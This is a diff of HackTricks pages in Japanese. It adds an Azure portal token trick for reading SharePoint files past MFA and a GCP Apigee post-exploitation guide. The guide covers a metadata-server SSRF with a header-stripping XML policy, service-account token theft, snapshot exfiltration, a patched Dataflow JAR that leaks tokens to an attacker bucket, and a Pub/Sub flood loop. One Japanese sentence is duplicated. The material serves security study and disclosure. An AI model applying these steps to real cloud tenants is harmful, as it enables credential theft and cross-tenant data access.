**Azure** **portal** が **not constrained** ため、前回の実行で検出された任意のサービスにアクセスするために、**gather a token from the portal endpoint to access any service detected** ことが可能です。この場合、Sharepoint が識別され、そのアクセス用の token が要求されます:
|
||||
```bash
|
||||
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
|
||||
Read-JWTtoken -token $token.access_token
|
||||
```
|
||||
トークンが Sites.Read.All の権限を持っていると仮定すると、MFA のためにウェブから Sharepoint にアクセスできなくても、生成されたトークンを使用してファイルにアクセスすることが可能です:
|
||||
token が Sites.Read.All (from Sharepoint) の権限を持っていると仮定すると、MFA のためにウェブから Sharepoint にアクセスできなくても、生成した token を使ってファイルにアクセスすることが可能です:
|
||||
```bash
|
||||
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
|
||||
```
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
# GCP - Apigee Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Apigee metadata SSRF -> Dataflow cross-tenant pivot
|
||||
|
||||
単一の Apigee テナントプロジェクトを悪用することで、Message Processor の metadata server に到達し、その service account を盗み、クロステナントのバケットを読み書きする共有 Dataflow analytics pipeline へ pivot できます。
|
||||
|
||||
### Expose the metadata server through Apigee
|
||||
|
||||
- Apigee の proxy target を `http://169.254.169.254` に設定し、`Metadata-Flavor: Google` を付けて `/computeMetadata/v1/instance/service-accounts/default/token` からトークンを要求します。
|
||||
- GCP metadata は `X-Forwarded-For` を含むリクエストを拒否します;Apigee はデフォルトでこれを追加します。proxy する前に `AssignMessage` でこれを除去してください:
|
||||
```xml
|
||||
<AssignMessage name="strip-xff">
|
||||
<Remove>
|
||||
<Headers>
|
||||
<Header name="X-Forwarded-For"/>
|
||||
</Headers>
|
||||
</Remove>
|
||||
<IgnoreUnresolvedVariables>true</IgnoreUnresolvedVariables>
|
||||
</AssignMessage>
|
||||
```
|
||||
### 盗まれた Apigee サービスアカウントの列挙
|
||||
|
||||
- The leaked SA (Google-managed under `gcp-sa-apigee`) は [gcpwn](https://github.com/NetSPI/gcpwn) のようなツールで列挙でき、権限を素早くテストできます。
|
||||
- 観測された強力な権限には **Compute disk/snapshot admin**, **GCS read/write across tenant buckets**, **Pub/Sub topic publish** が含まれていました。基本的な調査:
|
||||
```bash
|
||||
gcloud compute disks list --project <tenant-project>
|
||||
```
|
||||
### Snapshot exfiltration for opaque managed services
|
||||
|
||||
disk/snapshot rights があれば、tenant project にログインできない場合でも managed runtimes をオフラインで調査できます:
|
||||
|
||||
1. tenant project 内のターゲット disk の snapshot を作成する。
|
||||
2. snapshot を自分の project にコピー/マイグレートする。
|
||||
3. snapshot から disk を再作成し、それを VM にアタッチする。
|
||||
4. ログ/設定をマウントして調べ、内部の bucket 名、service accounts、pipeline オプションを回収する。
|
||||
|
||||
### writable staging bucket 経由での Dataflow 依存置換
|
||||
|
||||
- Analytics workers は起動時に GCS staging bucket から JAR を取得していた。Apigee SA に bucket 書き込み権限があったため、JAR をダウンロードしてパッチ(例: Recaf)し、`http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token` を呼び出して **Dataflow worker** トークンを盗む。
|
||||
- Dataflow workers はインターネット egress を持たなかった;クラスタ内の GCP APIs を使ってトークンを attacker-controlled GCS bucket に書き込み、exfiltrate する。
|
||||
|
||||
### autoscaling を悪用して malicious JAR を強制実行
|
||||
|
||||
既存の workers は置き換えた artifacts をリロードしない。pipeline の入力を氾濫させて新しい workers を起動させる:
|
||||
```bash
|
||||
for i in {1..5000}; do
|
||||
gcloud pubsub topics publish apigee-analytics-notifications \
|
||||
--message "flood-$i" --project <tenant-project>
|
||||
done
|
||||
```
|
||||
新しくプロビジョニングされたインスタンスはパッチ済みの JAR を取得し、Dataflow SA token を leak する。
|
||||
|
||||
### テナント間バケットの設計上の欠陥
|
||||
|
||||
Decompiled Dataflow code showed cache paths like `revenue/edge/<api|mint>/tenant2TenantGroupCacheDir` under a shared metadata bucket, without any tenant-specific component. With the Dataflow token you can 読み取り/書き込み:
|
||||
|
||||
- `tenantToTenantGroup` キャッシュは他テナントの project+environment 名を露出する。
|
||||
- `customFields` と `datastores` フォルダは全テナントのリクエスト単位の解析データ(エンドユーザーの IP や平文のアクセス トークンを含む)を保持している。
|
||||
- 書き込み権限は解析データの改ざん/汚染の可能性を意味する。
|
||||
|
||||
## 参考資料
|
||||
|
||||
- [GatewayToHeaven: Finding a Cross-Tenant Vulnerability in GCP's Apigee](https://omeramiad.com/posts/gatewaytoheaven-gcp-cross-tenant-vulnerability/)
|
||||
- [AssignMessage policy - header removal](https://cloud.google.com/apigee/docs/api-platform/reference/policies/assign-message-policy)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user